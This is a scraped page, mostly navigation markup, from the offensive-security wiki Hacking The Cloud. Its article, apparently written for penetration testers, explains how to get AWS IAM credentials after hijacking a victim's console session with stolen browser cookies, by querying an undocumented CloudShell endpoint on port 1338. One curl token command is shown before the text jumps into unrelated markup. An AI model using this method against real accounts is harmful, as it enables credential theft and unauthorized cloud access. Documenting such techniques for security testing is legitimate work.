href=../../avoiding-detection/steal-keys-undetected/ class=md-nav__link> <span class=md-ellipsis> Bypass Credential Exfiltration Detection </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--active md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_5 checked> <label class=md-nav__link for=__nav_2_5 id=__nav_2_5_label tabindex=0> <span class=md-ellipsis> Post Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_5_label aria-expanded=true> <label class=md-nav__title for=__nav_2_5> <span class="md-nav__icon md-icon"></span> Post Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../create_a_console_session_from_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Create a Console Session from IAM Credentials </span> </a> </li> <li class=md-nav__item> <a href=../download_tools_and_exfiltrate_data_with_aws_cli/ class=md-nav__link> <span class=md-ellipsis> Download Tools and Exfiltrate Data with the AWS CLI </span> </a> </li> <li class="md-nav__item md-nav__item--active"> <input class="md-nav__toggle md-toggle" type=checkbox id=__toc> <a href=./ class="md-nav__link md-nav__link--active"> <span class=md-ellipsis> Get IAM Credentials from a Console Session </span> </a> </li> <li class=md-nav__item> <a href=../iam_persistence/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Persistence Methods </span> </a> </li> <li class=md-nav__item> <a href=../intercept_ssm_communications/ class=md-nav__link> <span class=md-ellipsis> Intercept SSM Communications </span> </a> </li> <li class=md-nav__item> <a href=../lambda_persistence/ class=md-nav__link> <span class=md-ellipsis> Lambda Persistence </span> </a> </li> <li class=md-nav__item> <a href=../role-chain-juggling/ class=md-nav__link> <span class=md-ellipsis> Role Chain Juggling </span> </a> </li> <li class=md-nav__item> <a href=../run_shell_commands_on_ec2/ class=md-nav__link> <span class=md-ellipsis> Run Shell Commands on EC2 with Send Command or Session Manager </span> </a> </li> <li class=md-nav__item> <a href=../s3_acl_persistence/ class=md-nav__link> <span class=md-ellipsis> S3 File ACL Persistence </span> </a> </li> <li class=md-nav__item> <a href=../survive_access_key_deletion_with_sts_getfederationtoken/ class=md-nav__link> <span class=md-ellipsis> Survive Access Key Deletion with sts:GetFederationToken </span> </a> </li> <li class=md-nav__item> <a href=../user_data_script_persistence/ class=md-nav__link> <span class=md-ellipsis> User Data Script Persistence </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_6> <label class=md-nav__link for=__nav_2_6 id=__nav_2_6_label tabindex=0> <span class=md-ellipsis> Deprecated </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_6_label aria-expanded=false> <label class=md-nav__title for=__nav_2_6> <span class="md-nav__icon md-icon"></span> Deprecated </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../deprecated/stealth_perm_enum/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Enumerate Permissions without Logging to CloudTrail </span> </a> </li> <li class=md-nav__item> <a href=../../deprecated/whoami/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_7> <label class=md-nav__link for=__nav_2_7 id=__nav_2_7_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_7_label aria-expanded=false> <label class=md-nav__title for=__nav_2_7> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../capture_the_flag/cicdont/ class=md-nav__link> <span class=md-ellipsis> CI/CDon't </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_3> <label class=md-nav__link for=__nav_3 id=__nav_3_label tabindex=0> <span class=md-ellipsis> Azure </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_3_label aria-expanded=false> <label class=md-nav__title for=__nav_3> <span class="md-nav__icon md-icon"></span> Azure </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../azure/abusing-managed-identities/ class=md-nav__link> <span class=md-ellipsis> Abusing Managed Identities </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/anonymous-blob-access/ class=md-nav__link> <span class=md-ellipsis> Anonymous Blob Access </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Azure Active Directory Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/run-command-abuse/ class=md-nav__link> <span class=md-ellipsis> Run Command Abuse </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/soft-deleted-blobs/ class=md-nav__link> <span class=md-ellipsis> Soft Deleted Blobs </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4> <label class=md-nav__link for=__nav_4 id=__nav_4_label tabindex=0> <span class=md-ellipsis> GCP </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_4_label aria-expanded=false> <label class=md-nav__title for=__nav_4> <span class="md-nav__icon md-icon"></span> GCP </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_1> <label class=md-nav__link for=__nav_4_1 id=__nav_4_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_1_label aria-expanded=false> <label class=md-nav__title for=__nav_4_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/default-account-names/ class=md-nav__link> <span class=md-ellipsis> Default Account Information </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/gcp-buckets/ class=md-nav__link> <span class=md-ellipsis> Hunting GCP Buckets </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/metadata_in_google_cloud_instances/ class=md-nav__link> <span class=md-ellipsis> Metadata in Google Cloud Instances </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/security-and-constraints/ class=md-nav__link> <span class=md-ellipsis> Security and Constraints </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_2> <label class=md-nav__link for=__nav_4_2 id=__nav_4_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_2_label aria-expanded=false> <label class=md-nav__title for=__nav_4_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/enumeration/enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Google Workspace Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/enumeration/enumerate_all_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Org/Folder/Project Permissions + Individual Resource Permissions </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/enumeration/enumerate_service_account_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Service Account Permissions </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_3> <label class=md-nav__link for=__nav_4_3 id=__nav_4_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_3_label aria-expanded=false> <label class=md-nav__title for=__nav_4_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/exploitation/gcp_iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> Privilege Escalation in Google Cloud Platform </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_4> <label class=md-nav__link for=__nav_4_4 id=__nav_4_4_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_4_label aria-expanded=false> <label class=md-nav__title for=__nav_4_4> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/capture_the_flag/gcp-goat/ class=md-nav__link> <span class=md-ellipsis> GCP Goat </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/capture_the_flag/thunder_ctf/ class=md-nav__link> <span class=md-ellipsis> Thunder CTF </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_5> <label class=md-nav__link for=__nav_5 id=__nav_5_label tabindex=0> <span class=md-ellipsis> Terraform </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_5_label aria-expanded=false> <label class=md-nav__title for=__nav_5> <span class="md-nav__icon md-icon"></span> Terraform </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../terraform/terraform_ansi_escape_evasion/ class=md-nav__link> <span class=md-ellipsis> Terraform ANSI Escape </span> </a> </li> <li class=md-nav__item> <a href=../../../terraform/terraform_enterprise_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Terraform Enterprise: Attack the Metadata Service </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_6> <label class=md-nav__link for=__nav_6 id=__nav_6_label tabindex=0> <span class=md-ellipsis> Blog </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_6_label aria-expanded=false> <label class=md-nav__title for=__nav_6> <span class="md-nav__icon md-icon"></span> Blog </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../blog/2023_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2023 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../../../blog/2022_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2022 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../../../blog/v2_new_look/ class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud v2: New Look </span> </a> </li> </ul> </nav> </li> </ul> </nav> </div> </div> </div> <div class="md-sidebar md-sidebar--secondary" data-md-component=sidebar data-md-type=toc hidden> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--secondary" aria-label="Table of contents"> </nav> </div> </div> </div> <div class=md-content data-md-component=content> <article class="md-content__inner md-typeset"> <p>Article by Nick Frichette</p> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud/edit/main/content/aws/post_exploitation/get_iam_creds_from_console_session.md title="Edit this page" class="md-content__button md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M10 20H6V4h7v5h5v3.1l2-2V8l-6-6H6c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h4zm10.2-7c.1 0 .3.1.4.2l1.3 1.3c.2.2.2.6 0 .8l-1 1-2.1-2.1 1-1c.1-.1.2-.2.4-.2m0 3.9L14.1 23H12v-2.1l6.1-6.1z"/></svg> </a> <h1 id=get-iam-credentials-from-a-console-session>Get IAM Credentials from a Console Session<a class=headerlink href=#get-iam-credentials-from-a-console-session title="Permanent link">&para;</a></h1> <div class="grid cards"> <ul> <li> <p><span class="twemoji lg middle"><svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M12 4a4 4 0 0 1 4 4 4 4 0 0 1-4 4 4 4 0 0 1-4-4 4 4 0 0 1 4-4m0 10c4.42 0 8 1.79 8 4v2H4v-2c0-2.21 3.58-4 8-4"/></svg></span> <strong>Original Research</strong></p> <hr> <p><aside style=display:flex> <p><a href=https://blog.christophetd.fr/retrieving-aws-security-credentials-from-the-aws-console/ >Retrieving AWS security credentials from the AWS consoletitle</a> by <a href=https://blog.christophetd.fr/ >Christophe Tafani-Dereeper</a></p> <p><a class=glightbox href=/images/researchers/christophe_tafani-dereeper.jpg data-type=image data-width=auto data-height=auto data-desc-position=bottom><img src=/images/researchers/christophe_tafani-dereeper.jpg alt="Christophe Tafani-Dereeper" style=width:44px;height:44px;margin:5px;border-radius:100%;max-width:unset></a></p> </aside></p> </li> </ul> </div> <p>When performing a penetration test or red team assessment, it is not uncommon to gain access to a developer's machine. This presents an opportunity for you to jump into AWS infrastructure via credentials on the system. For a myriad of reasons you may not have access to credentials in the <code>.aws</code> folder, but instead have access to their browser's session cookies (for example via cookies.sqlite in FireFox).</p> <p>Gaining access to the Console is great, but it may not be ideal. You may want to use certain tools that would instead require IAM credentials.</p> <p>To get around this, we can leverage CloudShell. CloudShell exposes IAM credentials via an undocumented endpoint on port 1338. After loading session cookies from the victim into your browser, you can navigate to CloudShell and issue the following commands to get IAM credentials.</p> <div class=highlight><pre><span></span><code>[user@cloudshell]$ TOKEN=$(curl -X PUT localhost:1338/latest/api/token -H &quot;X-aws-ec2-metadata-token-ttl-seconds: 60&quot;)
+    body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}</style> <script src="../../../assets/javascripts/glightbox.min.js"></script></head> <body dir=ltr data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo> <input class=md-toggle data-md-toggle=drawer type=checkbox id=__drawer autocomplete=off> <input class=md-toggle data-md-toggle=search type=checkbox id=__search autocomplete=off> <label class=md-overlay for=__drawer></label> <div data-md-component=skip> <a href=#get-iam-credentials-from-a-console-session class=md-skip> Skip to content </a> </div> <div data-md-component=announce> <aside class=md-banner> <div class="md-banner__inner md-grid md-typeset"> For updates follow <strong>Nick Frichette</strong> on <a rel=me href=https://bsky.app/profile/frichetten.com> <span class="twemoji bluesky"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 512 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M111.8 62.2C170.2 105.9 233 194.7 256 242.4c23-47.6 85.8-136.4 144.2-180.2 42.1-31.6 110.3-56 110.3 21.8 0 15.5-8.9 130.5-14.1 149.2-18.2 64.8-84.4 81.4-143.3 71.3C456 322 482.2 380 425.6 438c-107.4 110.2-154.3-27.6-166.3-62.9-1.7-4.9-2.6-7.8-3.3-7.8s-1.6 3-3.3 7.8c-12 35.3-59 173.1-166.3 62.9-56.5-58-30.4-116 72.5-133.5C100 314.6 33.8 298 15.7 233.1 10.4 214.4 1.5 99.4 1.5 83.9c0-77.8 68.2-53.4 110.3-21.8z"/></svg> </span> <strong>Bluesky</strong> </a>. </div> </aside> </div> <header class=md-header data-md-component=header> <nav class="md-header__inner md-grid" aria-label=Header> <a href=../../.. title="Hacking The Cloud" class="md-header__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../../assets/logo.png alt=logo> </a> <label class="md-header__button md-icon" for=__drawer> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M3 6h18v2H3zm0 5h18v2H3zm0 5h18v2H3z"/></svg> </label> <div class=md-header__title data-md-component=header-title> <div class=md-header__ellipsis> <div class=md-header__topic> <span class=md-ellipsis> Hacking The Cloud </span> </div> <div class=md-header__topic data-md-component=header-topic> <span class=md-ellipsis> Get IAM Credentials from a Console Session </span> </div> </div> </div> <form class=md-header__option data-md-component=palette> <input class=md-option data-md-color-media data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Dark Mode" type=radio name=__palette id=__palette_0> <label class="md-header__button md-icon" title="Switch to Dark Mode" for=__palette_1 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 6H7c-3.31 0-6 2.69-6 6s2.69 6 6 6h10c3.31 0 6-2.69 6-6s-2.69-6-6-6m0 10H7c-2.21 0-4-1.79-4-4s1.79-4 4-4h10c2.21 0 4 1.79 4 4s-1.79 4-4 4M7 9c-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3-1.34-3-3-3"/></svg> </label> <input class=md-option data-md-color-media data-md-color-scheme=default data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Light Mode" type=radio name=__palette id=__palette_1> <label class="md-header__button md-icon" title="Switch to Light Mode" for=__palette_0 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 7H7a5 5 0 0 0-5 5 5 5 0 0 0 5 5h10a5 5 0 0 0 5-5 5 5 0 0 0-5-5m0 8a3 3 0 0 1-3-3 3 3 0 0 1 3-3 3 3 0 0 1 3 3 3 3 0 0 1-3 3"/></svg> </label> </form> <script>var palette=__md_get("__palette");if(palette&&palette.color){if("(prefers-color-scheme)"===palette.color.media){var media=matchMedia("(prefers-color-scheme: light)"),input=document.querySelector(media.matches?"[data-md-color-media='(prefers-color-scheme: light)']":"[data-md-color-media='(prefers-color-scheme: dark)']");palette.color.media=input.getAttribute("data-md-color-media"),palette.color.scheme=input.getAttribute("data-md-color-scheme"),palette.color.primary=input.getAttribute("data-md-color-primary"),palette.color.accent=input.getAttribute("data-md-color-accent")}for(var[key,value]of Object.entries(palette.color))document.body.setAttribute("data-md-color-"+key,value)}</script> <label class="md-header__button md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> </label> <div class=md-search data-md-component=search role=dialog> <label class=md-search__overlay for=__search></label> <div class=md-search__inner role=search> <form class=md-search__form name=search> <input type=text class=md-search__input name=query aria-label=Search placeholder=Search autocapitalize=off autocorrect=off autocomplete=off spellcheck=false data-md-component=search-query required> <label class="md-search__icon md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M20 11v2H8l5.5 5.5-1.42 1.42L4.16 12l7.92-7.92L13.5 5.5 8 11z"/></svg> </label> <nav class=md-search__options aria-label=Search> <button type=reset class="md-search__icon md-icon" title=Clear aria-label=Clear tabindex=-1> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M19 6.41 17.59 5 12 10.59 6.41 5 5 6.41 10.59 12 5 17.59 6.41 19 12 13.41 17.59 19 19 17.59 13.41 12z"/></svg> </button> </nav> </form> <div class=md-search__output> <div class=md-search__scrollwrap tabindex=0 data-md-scrollfix> <div class=md-search-result data-md-component=search-result> <div class=md-search-result__meta> Initializing search </div> <ol class=md-search-result__list role=presentation></ol> </div> </div> </div> </div> </div> <div class=md-header__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> </nav> </header> <div class=md-container data-md-component=container> <nav class=md-tabs aria-label=Tabs data-md-component=tabs> <div class=md-grid> <ul class=md-tabs__list> <li class=md-tabs__item> <a href=../../.. class=md-tabs__link> Hacking The Cloud </a> </li> <li class="md-tabs__item md-tabs__item--active"> <a href=../../general-knowledge/aws_cli_tips_and_tricks/ class=md-tabs__link> AWS </a> </li> <li class=md-tabs__item> <a href=../../../azure/abusing-managed-identities/ class=md-tabs__link> Azure </a> </li> <li class=md-tabs__item> <a href=../../../gcp/general-knowledge/default-account-names/ class=md-tabs__link> GCP </a> </li> <li class=md-tabs__item> <a href=../../../terraform/terraform_ansi_escape_evasion/ class=md-tabs__link> Terraform </a> </li> <li class=md-tabs__item> <a href=../../../blog/2023_wrap-up/ class=md-tabs__link> Blog </a> </li> </ul> </div> </nav> <main class=md-main data-md-component=main> <div class="md-main__inner md-grid"> <div class="md-sidebar md-sidebar--primary" data-md-component=sidebar data-md-type=navigation> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--primary md-nav--lifted" aria-label=Navigation data-md-level=0> <label class=md-nav__title for=__drawer> <a href=../../.. title="Hacking The Cloud" class="md-nav__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../../assets/logo.png alt=logo> </a> Hacking The Cloud </label> <div class=md-nav__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../.. class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud </span> </a> </li> <li class="md-nav__item md-nav__item--active md-nav__item--section md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2 checked> <label class=md-nav__link for=__nav_2 id=__nav_2_label tabindex> <span class=md-ellipsis> AWS </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_2_label aria-expanded=true> <label class=md-nav__title for=__nav_2> <span class="md-nav__icon md-icon"></span> AWS </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_1> <label class=md-nav__link for=__nav_2_1 id=__nav_2_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_1_label aria-expanded=false> <label class=md-nav__title for=__nav_2_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../general-knowledge/aws_cli_tips_and_tricks/ class=md-nav__link> <span class=md-ellipsis> AWS CLI Tips and Tricks </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/aws_organizations_defaults/ class=md-nav__link> <span class=md-ellipsis> AWS Organizations Defaults & Pivoting </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/block-expensive-actions-with-scps/ class=md-nav__link> <span class=md-ellipsis> Prevent Expensive AWS API Actions with SCPs </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/connection-tracking/ class=md-nav__link> <span class=md-ellipsis> Connection Tracking </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/iam-key-identifiers/ class=md-nav__link> <span class=md-ellipsis> IAM unique identifiers </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/intro_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Introduction to the Instance Metadata Service </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/introduction_user_data/ class=md-nav__link> <span class=md-ellipsis> Introduction to User Data </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/using_stolen_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Using Stolen IAM Credentials </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_2> <label class=md-nav__link for=__nav_2_2 id=__nav_2_2_label tabindex=0> <span 